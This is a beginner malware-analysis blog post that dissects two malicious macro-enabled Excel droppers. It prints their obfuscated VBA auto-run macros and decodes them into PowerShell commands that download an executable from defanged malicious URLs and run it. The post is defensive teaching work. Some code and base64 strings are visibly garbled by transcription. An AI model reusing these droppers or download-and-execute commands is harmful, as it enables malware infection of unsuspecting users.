

# Analyzing Macro enabled Office Documents

blog.cyber5w.com/analyzing-macro-enabled-office-documents

Experience Level required: beginner

## Objectives

In this blog we will Learn how to analyze MS Office Macro enabled Documents.

1st sample:

8d15fadf25887c2c974e521914bb7cba762a8f03b1c97a2bc8198e9fb94d45a5

2nd sample:

a9f8b7b65e972545591683213bb198c1767424423ecc8269833f6e784aa8bc99

## 1st Sample


Let's see the sample in Virus Total

The screenshot shows the VirusTotal analysis interface for the file 8d15fadf25887c2c974e521914bb7cba762a8f03b1c97a2bc8198e9fb94d45a5. The page displays a summary card with a 'Community Score' of 37/63, indicating 37 security vendors flagged it as malicious. Below the card, the file type is listed as 'xlsx attachment'. On the right, file details show a size of 73.25 KB and a last analysis date of 8 months ago. A 'XLSX' icon is present. Navigation links include 'REANALYZE', 'SIMILAR', and 'MORE'. The main content area is titled 'DETECTION' and lists vendor detections. A blue bar at the bottom encourages users to 'Join the VT Community' and provides an API key for 'automate checks'. The detection table includes rows for Alibaba, Arcabit, AVG, BitDefender, Cyren, Emsisoft, ESET-NOD32, and GData, each with their respective vendor names and detected threat types.

Security vendors' analysis	Do you want to automate checks?		
Alibaba	TrojanDropper:Office97!Powdow.fc0ecd...	Antiy-AVL	Trojan[Downloader]MSOffice.Agent
Arcabit	Trojan.GenericKD.D2D77BBE	Avast	VBS:Dropper-VA [Drp]
AVG	VBS:Dropper-VA [Drp]	Avira (no cloud)	HEUR/MacroDownloader.ARADV.Gen
BitDefender	Trojan.GenericKD.47676350	Cynet	Malicious (score: 99)
Cyren	PP97M/Dropper.V.genEldorado	DrWeb	X97M.DownLoader.792
Emsisoft	Trojan.GenericKD.47676350 (B)	eScan	Trojan.GenericKD.47676350
ESET-NOD32	VBA/TrojanDropper.Agent.CHH	Fortinet	VBA/Agent.MVFtr
GData	Trojan.GenericKD.47676350	Google	Detected

37 of 63 security vendors detected this file as malicious.

Let's open the file.



It uses a social engineering technique to persuade the user to enable the macros that lead to the infection of the user.

Let's see the macro code of the sample, I'll use olevba

```
olevba "C:\Users\M4lcode\Desktop\xlm
sample\8d15fadf25887c2c974e521914bb7cba762a8f03b1c97a2bc8198e9fb94d45a5.xls"m"
```

```
VBA_MACRO ThisWorkbook
In file: xl/vbaProject.bin - OLE stream: 'ThisWorkbook'
-----
Private Function Prefix3() As String
Dim x As String
Dim s As String
s = "cne- - nlw- exe.llihehsrewop.0.1"
s = "villehSrewoPswodniw\23mettsy\swodniw\C"
x = StrReverse(s)
Prefix3 = x
End Function

Private Sub Workbook_Activate()
Prefix0
End Sub

Private Function Prefix2() As String
Dim text As String

text = text + "JABQAHIAbWbjAE4AYQBtAGUAAA9ACAA1gBLAHQAYQbxAGYAdAB1AGYAZgBoAHEAaAbvAhgAe"
text = text + "gB5AG1abAbzAHMAaQauGUaEAb1ACTAwAoAE4AZQ83C0ATwB1AGOAZQBjAHQATABTAHKAcw"
text = text + "BAGUAuDQuaE4AzQ8AC4Avb1AGIAQwB5AGKAZQBuAHQAKQauEQabvB3AG4dAbvAGEAZAB"
text = text + "GAGkAbAb1AcgA1gBoAHQdAbvAHMAGbAVACBAdwB3AHCalgBxAHAcQBmAG8AcgBtAHUdAbh"
text = text + "AC4AyvBvAcAegbHAC8AdwBvAHIAwBzAC8uBjAEMASAAuHAAaQbMACIALA1ACQAZQ8uA"
text = text + "HYAOgbBAlAAUABEAEAVABBFwJAjBQH1AbwBjAE4AYQBAGUAtgApD5AUwBdGEAcBb0AC"
text = text + "8AUAbYGBAVwB1AMMcaBACgA1gAkAGUAbgB2ADAAQQBQFAARABBFQoAQQBcACQmAUByAGB"
text = text + "AYwBORGEBdQ81ACIAKQA="

Prefix2 = text
End Function

Private Function Prefix1() As String
Dim x As String
x = x + "st"
x = x + "art"
x = x + "/M" + "I" + "N"

Prefix1 = x
End Function

Private Sub Worksheet_PivotTableAfterValueChange(ByVal TargetPivotTable As PivotTable, ByVal TargetRange As Range)
End Sub

Private Sub Prefix0()
On Error Resume Next

```

It has many suspicious functions, It also has base64 strings

(empty macro)		
Type	Keyword	Description
AutoExec	Workbook_Activate	Runs when the Excel Workbook is opened
Suspicious	Open	May open a file
Suspicious	Output	May write to a file (if combined with Open)
Suspicious	Print #	May write to a file (if combined with Open)
Suspicious	Shell	May run an executable file or a system command
Suspicious	StrReverse	May attempt to obfuscate specific strings (use option --deobf to deobfuscate)
Suspicious	Hex Strings	Hex-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)
Suspicious	Base64 Strings	Base64-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)
IOC	Bixkcozkemqyslgmpvwuri.bat	Executable file name
Suspicious	VBA Stomping	VBA Stomping was detected: the VBA source code and P-code are different, this may have been used to hide malicious code

/VBA Stomping detection is experimental: please report any false positive/negative at https://github.com/OfficeDev/Office-Add-in-Samples/issues

Let's dump the macro code to a file to see it better

```
olevba -c "C:\Users\M4lcode\Desktop\xlm
sample\8d15fadf25887c2c974e521914bb7cba762a8f03b1c97a2bc8198e9fb94d45a5.xlsm" >
dump.vba
```

Let's view the dumped file with notepad ++ (you can view it with any text editor software)

```

1  Private Function Prefix3() As String
2  Dim x As String
3  Dim s As String
4  s = " cne-1 ntw-exe_lliehsrcop0.1"
5  s = s + "\lliehsrcopswodniW\23metisy\$swodniW\C"
6  x = StrReverse(s)
7  Prefix3 = x
8  End Function
9
10
11 Private Sub Workbook_Activate()
12 Prefix3
13 End Sub
14
15 Private Function Prefix2() As String
16 Dim text As String
17
18 text = text + "JQBQAHIAewBjaEAYQbGcAGUAIAR9RCAAIgBLAQYOBnAGYAdABiAGYAZgBcAHEAeABvAhghe"
19 text = text + "BSAGIAhAbAbcAHMAsQhAGUAbALIACIAowAE4AZQB3AC0ATwBiAGcAQb;AHQAIABTAhkaCw"
20 text = text + "B0AGUAhQhQhF4hZQB0AC4Nvb1AG15QwBshGk2ZQbhAHQAKQhufEQQhbhS5Ng4AbhBvUGFAZAB"
21 text = text + "GAGKAhAbALAcgAigBoAHQdAbwAHMDQgAvC8AdwB3AHCALgRxHEA=QbMsAG8AcgBtAHUAbAbh"
22 text = text + "AC4AYwBwAC4AegBhCSAdwBwAHIAewBzACSAUgBjAEHASAAuHHAoQbRaCIALLA1AcQAZQBuA"
23 text = text + "HQAogBFAFAUABEAEAVABAFwAJABQAHIAowjAE4AYQbGAGUAlgApAdRAuWbOAGEcgbQAC"
24 text = text + "OUAByAGSAwbl1HMhAcwAgACgAigAkGUAbgB2AdoACQbQFAAARBBAFQdQQR=cACQAUAbAG8"
25 text = text + "AYwOAGEAbOB1ACTIAKQa="
26
27
28 Prefix2 = text
29 End Function
30
31
32 Private Function Prefix1() As String
33 Dim x As String
34 x = x + "et"
35 x = x + "ert"
36 x = x + "/M" + "I" + "N"
37
38 Prefix1 = x
39 End Function
40
41 Private Sub Worksheet_PivotTableAfterValueChange(ByVal TargetPivotTable As PivotTable, ByVal TargetRange As Range)
42
43 End Sub
44

```

This function concatenates two strings, then reverses the result string and assigns it to **Prefix3**.

```

1 Private Function Prefix3() As String
2 Dim x As String
3 Dim s As String
4 s = "cne- 1 niw- exe.llehsrewop\0.1"
5 s = s + "v\llehSrewoPswodniW\23metsyS\swodniW\C"
6 x = StrReverse(s)
7 Prefix3 = x
8 End Function
9

```

I'll use this python script to reverse the string

```

def reverse_string(input_string):
    return input_string[::-1]

input_string = "cne- 1 niw-
exe.llehsrewop\\0.1v\\llehSrewoPswodniW\\23metsyS\\swodniW\C"
reversed_string = reverse_string(input_string)
print("Original string:", input_string)
print("Reversed string:", reversed_string)

```

```

C:\Users\Mostafa\Desktop>Untitled-1.py
Original string: cne- 1 niw- exe.llehsrewop\0.1v\llehSrewoPswodniW\23metsyS\swodniW\C
Reversed string: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc

C:\Users\Mostafa\Desktop>

```

**Prefix3 =**

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc

Let's go to the next function

The function concatenates 8 base64 encoded strings and assigns it to **Prefix2**.

```

14 Private Function Prefix2() As String
15 Dim text As String
16
17
18 text = text + "JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBLAHQAYQBxAGYAdABiAGYZgBoAHEAaABvAHgAe"
19 text = text + "gb5AGIAbABzAHMAaQAUuAGUAeABlACIAoWoAoAE4AZQB3AC0ATwBiAGOAZQBjAHQAIABTAHKAcw"
20 text = text + "B0AGUAbQAUAE4ZQB0AC4AVwB1AGIAQwBsAGkAZQBuAHQAKQAUAEQAbwB3AG4AbABvAGEAZAB"
21 text = text + "GAGkAbABlACqAIgBoAHQdAbwAHMAOgAvAC8AdwB3AHcAlgbxAHEAcQBmAAG8AcgBtAHUAbABh"
22 text = text + "AC4AYwBvAC4AegBhAC8AdwBvAHIAawBzAC8AUGBJAEMASAuAHAAaQBmAICIALAAiACQAZQBuA"
23 text = text + "HYAOgBBAFAAUABEAEAEVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApAdSAUwB0AGEAcgB0AC"
24 text = text + "0AUAByAG8AYwB1AHMACwAgACgAIgAkAGUAbgB2ADoAQQBQAFARABBAFQAQQBcACQAUAByAG8"
25 text = text + "AYwBOAGEAbQBlACIAKQA="
26
27
28 Prefix2 = text
29 End Function
30

```

I'll use cyberchef to decode the strings

The screenshot shows the RAKEL tool interface. On the left, a sidebar lists various operations: rem, Render Markdown, Remove EXIF, Remove Diacritics, Remove null bytes, Remove whitespace, Remove line numbers, RIPEMD, Render Image, Resize Image, Extract email addresses, Scan for Embedded Files, Rotate Image, Generate Lorem Ipsum, From Decimal, From Hexdump, CRC-8 Checksum, CRC-16 Checksum, CRC-32 Checksum, From UNIX Timestamp, and Parse DateTime. The 'From Base64' operation is selected in the main workspace.

**Recipe**

**From Base64**

- Alphabet: A-Za-z0-9+=
- Remove non-alphabet chars
- Strict mode

**Remove null bytes**

**Input**

```
JABQAHATAbwBjAE4AYQBtAGUATAA9ACAAgBLAHQAYQBVxAGYAdABIAgYAZgBoAHEAAAvAHgAegBSAGTAbABzAHMVAaQAUAGUAeACIAOnwA
oAEAAZQb3AC0A7vB1Ag0aZQbjAHQ01ABTAHKAcbvB8GUAbqAuAeA2Q8AC4AVvb1AG1AQhB5AGK2QbUAHQAKQAUAEQAbvB3AG4ADbAVAG
EA2AG6GkGbB1ACgt1gBpbQd4d8uHHAQgAc8AduB3AHcALgBx4HEAcC9hAG8AcgttAHUAbBhAC4AVvbvAC4egBhAC8dAbvAHIAa
vbzAC8AUgbJAEHMASAUAHAAQCBmACIAALAA1ACQAZQ8dutHYAQ8BFAFQAUABEAEEEAVABBFuA3ABQHIAbBjAE4AYVbTAGUAtBjAgd5d4wB
0AGEAcBb0AC0AUAbAG8AYvB1AHMAcuAgAcA1g4KGUAbgB2AdAQQBQAFAAARBBAFQAQQBACQQUAbYAG8AYvB0AGEAbQBJACIAKQa="
```

**Output**

```
$ProcName = "Ktaqftbfffhqoxzyblssi.exe";(New-Object
System.Net.WebClient).DownloadFile("https://www.qqformula.co.za/works/RICH.pif","$env:APPDATA\$ProcName");
Start-Process ("$env:APPDATA\$ProcName")
```

**Prefix2 =**

```
$ProcName = "Ktaqftbfffhqoxzyblssi.exe";
(New-Object
System.Net.WebClient).DownloadFile("hxxps[://]www[.]qqformula[.]co[.]za/works/RICH[.]pif","$env:APPDATA\$ProcName");
Start-Process ("$env:APPDATA\$ProcName")
```

Let's go to the next function

```
30
31
32 Private Function Prefix1() As String
33 Dim x As String
34 x = x + "st"
35 x = x + "art "
36 x = x + "/M" + "I" + "N "
37
38 Prefix1 = x
39 End Function
40
```

It concatenates strings

**Prefix1 =**

start /MIN

Let's go to the last function

```

1~ 44
45 Private Sub Prefix0()
46 On Error Resume Next
47 ActiveWorkbook.Save
48 Dim bat As String
49 bat = "Bixkcozkemqyslgmpvwuri.bat"
50 Dim d As Double
51 Dim text As String
52 text = Prefix1() + Prefix3() + Prefix2()
53 Open bat For Output As #1
54     Print #1, text
55     Close #1
56     d = Shell(bat, 0)
57 End Sub
58 -----

```

---

It concatenates **Prefix1**, **Prefix3** and **Prefix2** and print the result in a .bat file named “Bixkcozkemqyslgmpvwuri.bat” then it runs the file

The resulted .bat file will be:

```

start /MIN C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - win 1 - enc
$ProcName = "Ktaqftbffhqoxzyblssi.exe";
(New - Object
System.Net.WebClient).DownloadFile("hxxps[://]www[.]qqqformula[.]co[.]za/works/RICH[.]pif", "$env:APPDATA\$ProcName");
Start - Process ("$env:APPDATA\$ProcName")

```

This script runs powershell script to download file from “hxxps[://]www[.]qqqformula[.]co[.]za/works/RICH[.]pif” to the current user’s AppData directory with name “Ktaqftbffhqoxzyblssi.exe” and executes it.

## 2nd Sample


---

32 of 60 security vendors detected this file as malicious.

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis		Do you want to automate checks?	
AhnLab-V3	① Dropper/MSOffice.Generic	ALYac	① TrojanDownloader.XLS.gen
Antiy-AVL	① Trojan[Downloader]/MSOffice.Agent	Arcabit	① VB:Trojan.Valyria.D12E3
Avast	① Other:Malware-gen [Tr]	AVG	① Other:Malware-gen [Tr]
BitDefender	① VB:Trojan.Valyria.4835	Cyren	① X97M/Downldr.FN.gen/Eldorado
Emsisoft	① VB:Trojan.Valyria.4835 (B)	eScan	① VB:Trojan.Valyria.4835
ESET-NOD32	① VBA/TrojanDownloader.Agent.WGL	Fortinet	① VBA/Agent.2EA16!tr.dldr
GData	① VB:Trojan.Valyria.4835	Google	① Detected
Ikarus	① Trojan-Downloader.VBA.Agent	Kaspersky	① HEUR:Trojan-Downloader.MSOffice.SLoa...

Let's open the sample



It also employs a social engineering technique to convince the user to enable macros, which then leads to the user being infected.

Let's see its macro code

```
olevba C:\Users\M4lcode\Desktop\ee6d2f06ce4476370cb830acb3890dca.xls
```

```
RValue = Rate(10 * 1, -1000, 6500)

WzpiUxvU = "IAAkAGYAZABzAGYAcwBkAGYAIAA9ACAA1gBmAAMQAZABmAGcAaAAiAdSAtIAAAoAE4ARQB3AC0AbwBiAGOARQBjAHQAIACIGAAT" &_
"BgBaGUAYABUAGAALBgBgfCAFAYAB1AGAAQBgAEAYABsAGAAAQBgAGUAYABOAGAAVAAd1CKALgBfEAGAdvbUAFwAbvBBAGQAZgBfJAGwARQAOACAHS" &_
"BoAHQAdABwADoAlwAVAHMAdQb5AGEAcwB0AGMAbwBsAGwA2QbNAGUAbwBmG4AdQByAHMaaQBuAGCALgBfJAGBbQAVAgWbQbAGCAdQbHAGCAZQA" &_
"vAEQAbvBUADEANgAzC8AQwByHkAcABAGUAZBAGKAbAB1ADEANGAzC4A4ZQb4AGUHSagACwAIAAd1CQARQBOAHYAOgB0AGUAbQbWFwAagBm" &_
"AGMAYgB2AGUAcB0AC4AZQb4AGUHSagACKAIAA7ACAAcwb0AAEeUgB0CAAAHSakAEUATgB2AdoAdB1AG0AcABCAGOAzGbgJAGTAdgBlAHAAAdAAuA" &_
"GU AeAB1AB0g0wAkAGYAZABzAGYAcwBkAGYAIAA9ACAA1gBmAAMQAZABmAGcAaAbmAGQAZABmAGcAaAAiAdSs"

Dim zKShMevSa As Object
Set zKShMevSa = CreateObject("Wscript.Shell")
zKShMevSa.Run FfxoXYwEo + aMMhrPjTA + WzpiUxvU, RValue

End Sub

VBA MACRO ThisWorkbook
in file: C:\Users\M4lcode\Desktop\ee6d2f06ce4476370cb830acb3890dca.xls - OLE stream: 'ThisWorkbook'
-----
Private Sub Workbook_Open()
Call rWyYtUHOC
End Sub

+-----+
|Type |Keyword |Description |
+-----+
|AutoExec|Workbook_Open |Runs when the Excel Workbook is opened  
|May run an executable file or a system command|
|Suspicious|Shell |May run an executable file or a system command|
|Suspicious|Run |May run an executable file or a system command|
|Suspicious|Call |May call a DLL using Excel 4 Macros (XLM/XLF)|
|Suspicious|CreateObject |May create an OLE object|
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)|
|Suspicious|Base64 Strings |Base64-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)|
+-----+
```

It uses **wscript** language and base64 encoding

Let's dump it to file

```
olevba -c C:\Users\M4lcode\Desktop\ee6d2f06ce4476370cb830acb3890dca.xls > dump.vba
```

```
dump.vba
1 Public Sub rWyYtUHOC()
2 On Error Resume Next
3 Dim yllrrov As String
4 yllrrov = "NDHGFS"
5
6 Dim LValue As Double
7
8 LValue = NPer(0.0525 / 1, -200, 1500)
9
10
11
12 FfxoXYwEo = ActiveWorkbook.BuiltinDocumentProperties("Comments")
13 aMMhrPjTA = ActiveWorkbook.BuiltinDocumentProperties("Subject")
14
15 Dim RValue As Double
16
17 RValue = Rate(10 * 1, -1000, 6500)
18
19
20 WzpiUxvU = "IAAkAGYAZABzAGYAcwBkAGYAIAA9ACAA1gBmAAMQAZABmAGcAaAAiAdSAtIAAAoAE4ARQB3AC0AbwBiAGOARQBjAHQAIACIGAAT" &_
"BgBaGUAYABUAGAALBgBgfCAFAYAB1AGAAQBgAEAYABsAGAAAQBgAGUAYABOAGAAVAAd1CKALgBfEAGAdvbUAFwAbvBBAGQAZgBfJAGwARQAOACAHS" &_
"BoAHQAdABwADoAlwAVAHMAdQb5AGEAcwB0AGMAbwBsAGwA2QbNAGUAbwBmG4AdQByAHMaaQBuAGCALgBfJAGBbQAVAgWbQbAGCAdQbHAGCAZQA" &_
"vAEQAbvBUADEANgAzC8AQwByHkAcABAGUAZBAGKAbAB1ADEANGAzC4A4ZQb4AGUHSagACwAIAAd1CQARQBOAHYAOgB0AGUAbQbWFwAagBm" &_
"AGMAYgB2AGUAcB0AC4AZQb4AGUHSagACKAIAA7ACAAcwb0AAEeUgB0CAAAHSakAEUATgB2AdoAdB1AG0AcABCAGOAzGbgJAGTAdgBlAHAAAdAAuA" &_
"GU AeAB1AB0g0wAkAGYAZABzAGYAcwBkAGYAIAA9ACAA1gBmAAMQAZABmAGcAaAAiAdSs"
21
22
23
24
25
26
27 Dim zKShMevSa As Object
28 Set zKShMevSa = CreateObject("Wscript.Shell")
29 zKShMevSa.Run FfxoXYwEo + aMMhrPjTA + WzpiUxvU, RValue
30
31
32
33
34
35
End Sub
```

Let's try to decode this strings

```

Last build: 2 days ago - Version 10 is here! Read about the new features here.
Options + About / Support ?
```

Operations	Recipe	Input
remove	<b>From Base64</b>	IAAKAGYAZbAGYACvBkAGYAIAA9ACAA1gBmAHMAzgBkAGcAAAbmAQGQAZABmAAGcAAaA1Ad5A1AAoAE4ARQB3AC0AbvB1AGoARQBjAHQAIAA cIGAAT`8g#AQUAYAUAGALg#gFAF`AVB1AGA0gBgEAYABgAGAAQ0gAgUAYABoAGAAVAA1C1kA1gBEAG8AdvBuAEvAhvBAGQZgB7A GuRQoAcA4AHsB0d4Qd4BwDcALwAV4HAdQb5AGeAcuBaAGfbAgvBzAgvA1ZQnG1b1gAg44QbAM4MaQgBAGcALg#fAG8AdQvLGvGuA VQBuAGcAdQbHAGcALQVAEQAQbWUDcANGAzA18AQbVByHKAcBbAGUAZAB6AGKAbA1ADEANGAzA14ZQb4AGHSgAcwA1AAjICQRQb OAHYAOgBbAGUAbJQwAFwAgBmAGhYgB2AGUAcAB0AC44ZQb4AGUHSgACKATAA7AACAcwB0AEEAUgB0CAHSKAKEUATgB2AdoAaB1AG 0ACABcAGoAZgBjAGIAdgB1AHAAduuAGUeAB1ABgOwAkAGYAZbZAGYAcwBkAGYAIAA9CAA1gBmAHMAzgBkAGcAAAbmAQGQAZAbmAAGcAA AA1Ad5A
Remove EXIF	<input type="checkbox"/> Strict mode	
Remove Diacritics	<b>Remove null bytes</b>	
Remove null bytes		
Remove whitespace		
Remove line numbers		
Strip HTML tags		
Strip HTTP headers		
Unique		
Favourites		
Data format		
Encryption / Encoding		
Public Key		
Arithmetic / Logic		
Networking		
Language		

```

$fdgsfdf = "fsfdghfddfgh";
($NEw-objEcT
`N`e`T`.`W`e`B`C`l`i`e`N`T`).DownLoAdfILE('hxxp[://]suyashcollegeofnursing[.]com/lan
guage/Don163/CryptedFile163[.]exe', "$ENV:temp\jfcbvept.exe");
Start "$$Env:temp\jfcbvept.exe";
\$fdgsfdf = "fsfdghfddfgh";
```

This powershell script is downloading a file from “hxxp[://]suyashcollegeofnursing[.]com” to **temp** directory with name “jfcbvept.exe” then it starts it

CreateObject(“Wscript.Shell”) return is assigned to **zKShMevSa**

```

1
2
3
4 Dim zKShMevSa As Object
5 Set zKShMevSa = CreateObject("Wscript.Shell")
6 zKShMevSa.Run FfxoXYwEo + aMMhrPjTA + WzpIUXvU, RValue
7
8
9
0
```

So **zKShMevSa** acts like **Wscript.Shell** and **zKShMevSa.Run** = **Wscript.Shell.Run**.

It's clear now **Wscript.Shell.Run** executes the powershell script that downloads the malware from “hxxp[://]suyashcollegeofnursing[.]com” to **temp** directory with name “jfcbvept.exe” then it executes it.

This blog is authored by **Mostafa Farghaly(M4lcode)**.



[Previous Post](#)

## Gafgyt Backdoor Analysis



[Next Post](#)

**[Hard disk structure and analysis](#)**

---